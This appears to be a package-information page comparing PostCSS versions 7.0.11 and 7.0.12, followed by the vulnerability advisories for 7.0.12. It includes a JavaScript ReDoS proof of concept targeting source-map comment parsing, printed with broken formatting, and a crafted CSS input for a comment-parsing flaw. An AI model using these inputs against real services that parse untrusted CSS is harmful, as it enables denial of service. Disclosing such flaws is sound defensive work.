PostCSS, a versatile tool for transforming styles with JavaScript plugins, saw a minor update from version 7.0.11 to 7.0.12 in January 2019. While the core functionalities and dependencies on chalk, source-map, and supports-color remain consistent, subtle changes suggest internal improvements or bug fixes. Both versions, licensed under MIT, maintain the same developer, Andrey Sitnik, and repository URL, indicating a stable and well-maintained project.
The most noticeable difference lies in the dist object, specifically the unpackedSize. Version 7.0.12 has an unpacked size of 599152 bytes, slightly larger than version 7.0.11's 598737 bytes. This small increase in size could indicate minor additions, refinements, or adjustments to existing code. The number of files remains consistent at 35. Developers should be aware that while functionally similar, the newer version might include performance enhancements, security patches, or resolved edge cases. The release date also distinguishes them, with 7.0.12 arriving a few days after 7.0.11, suggesting a quick follow-up release to address something. For developers already using PostCSS 7, migrating to 7.0.12 should be seamless, while those considering adopting PostCSS can be confident in the stability and active maintenance demonstrated by this incremental update.
All the vulnerabilities related to the version 7.0.12 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.